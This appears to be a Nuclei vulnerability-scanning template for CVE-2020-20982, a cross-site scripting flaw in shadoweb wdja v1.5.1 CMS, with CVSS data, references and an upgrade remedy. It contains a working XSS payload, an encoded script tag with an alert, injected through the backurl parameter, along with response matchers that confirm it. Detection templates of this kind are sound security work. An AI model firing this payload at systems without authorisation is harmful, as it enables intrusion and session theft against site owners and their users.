id: CVE-2020-20982 info: name: shadoweb wdja v1.5.1 - Cross-Site Scripting author: pikpikcu,ritikchaddha severity: critical description: shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://github.com/shadoweb/wdja/issues/1 - https://nvd.nist.gov/vuln/detail/CVE-2020-20982 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H cvss-score: 9.6 cve-id: CVE-2020-20982 cwe-id: CWE-79 epss-score: 0.01894 epss-percentile: 0.87152 cpe: cpe:2.3:a:wdja:wdja_cms:1.5.1:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: wdja product: wdja_cms tags: cve,cve2020,xss,wdja,shadoweb http: - method: GET path: - "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" stop-at-first-match: true matchers-condition: and matchers: - type: word words: - "location.href='" condition: and - type: word part: header words: - 'text/html' - type: status status: - 200 # digest: 490a004630440220517e3d4f86b2f448c8e225b40ded7db7a75ecd1274e6509829e1b99d404bf52f0220045ef21b43006f07b3faad38997278739a839b9857c0d92cc9f6e728ce377130:922c64590222798bb761d5b6d8e72950